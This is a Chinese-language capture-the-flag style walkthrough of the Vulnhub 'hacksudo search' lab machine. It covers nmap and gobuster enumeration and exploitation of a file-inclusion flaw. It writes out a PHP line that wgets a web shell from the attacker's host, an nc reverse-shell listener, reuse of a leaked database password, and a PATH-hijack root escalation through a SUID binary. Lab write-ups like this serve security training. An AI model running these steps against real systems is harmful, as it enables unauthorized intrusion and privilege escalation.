nmap扫描端口:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTHl5SU.png?table=block&id=f801f268-46be-41d3-9183-9b39599fc7ca&cache=v2)
开放ssh端口和http端口
浏览器打开80端口:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTHG63V.png?table=block&id=002f2762-d798-4151-ac0b-4832ce88ca0a&cache=v2)
页面只有一个搜索框,输入之后会跳转到搜索页面。
gobuster进行web页面路径爆破:
gobuster dir -e -w C:\Users\Administrator\Desktop\gobuster\dir.txt -u 192.168.0.18 | grep -v "403"
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTHlhWT.png?table=block&id=d09c8403-e781-4e68-98fd-33deaedb9f23&cache=v2)
发现search1.php页面
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTHloy4.png?table=block&id=0ea7af50-bcee-4d20-91e3-a0f34c3d12e2&cache=v2)
gobuster进行参数fuzz:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTHlbwR.png?table=block&id=f653f3a5-5ec3-4a76-862a-c2e1b695e6a6&cache=v2)
me参数存在文件包含漏洞
试着读取一下/etc/passwd文件:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTHlTOJ.png?table=block&id=83a67929-8481-41e3-a33f-91d4fa294114&cache=v2)
包含shell.php:
使用包含着下载shell.php命令的exec.php执行下载命令,然后反弹。
<?php system('wget http://192.168.0.16:8000/shell.php'); ?>
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTHlHm9.png?table=block&id=9317f4ef-6974-441c-98a9-afb076269f06&cache=v2)
由于无法上传文件,使用python搭建http服务下载shell.php就能反弹了。
#python快速开启http服务: pyhton -m http.server 8000 #nc监听端口: nc -lvvp 1234
先用me参数访问exec.php,等下载好shell.php之再访问,然后就可以用nc连接。
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTHlqT1.png?table=block&id=da87e1e4-d60e-4309-b67b-b2c6294c0b82&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTHlOFx.png?table=block&id=39d29f78-cd13-4633-ab40-d3589ee5dbe9&cache=v2)
shell.php下载完成,并且已经可以访问。
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTHlxSO.png?table=block&id=4e0ad950-afbe-4d73-9053-5d4bec802f83&cache=v2)
nc连接成功。
提权:
在/var/www/html下存在.env目录,其中的数据库密码:MyD4dSuperH3r0!可以用于hacksudo用户登录。
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTHlzlD.png?table=block&id=520e7f48-b0fa-49f5-a45b-90eccc7de155&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTH1S6e.png?table=block&id=d11d5993-d1cd-4b05-b53e-6f7a44ec9b87&cache=v2)
hackdo登录成功。
查找SUID文件进行提权:
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTH1Cmd.png?table=block&id=b39cf6e7-4ec8-4fae-a8e3-90991acdea80&cache=v2)
home目录下的searchinstall文件具有SUID权限。
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTH1P0A.png?table=block&id=2be261dd-7043-4b47-8494-803b42b1769b&cache=v2)
setuid(0)可以用于提权,只要替换一下install命令就可以直接获取root权限
#用bash命令替换install命令并替换环境变量,这样就可以用root权限执行bash命令. echo "/bin/bash" > /tmp/install chmod 777 install export PATH=/tmp:$PATH
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTH1kkt.png?table=block&id=0be434f2-4388-467f-b73b-2da55d37e1b2&cache=v2)
提权成功
root.txt:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTH1iTI.png?table=block&id=6f6e1398-c0a6-474e-b062-8b563c99eb7b&cache=v2)
note.txt:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTH1AtP.png?table=block&id=fb75acfb-ba74-4933-80c6-bd1c2ea9a552&cache=v2)
mysql登录一下:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTH1Eff.png?table=block&id=6d41a695-8744-4f3d-b9f5-3adf969a62e0&cache=v2)
search1.php
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F01%2F03%2FTH1e1S.png?table=block&id=382f88a1-b16e-4241-a35a-312a76a36440&cache=v2)
Vulnhub:hackdo_search下载链接:
gobuster链接:
https://github.com/OJ/gobuster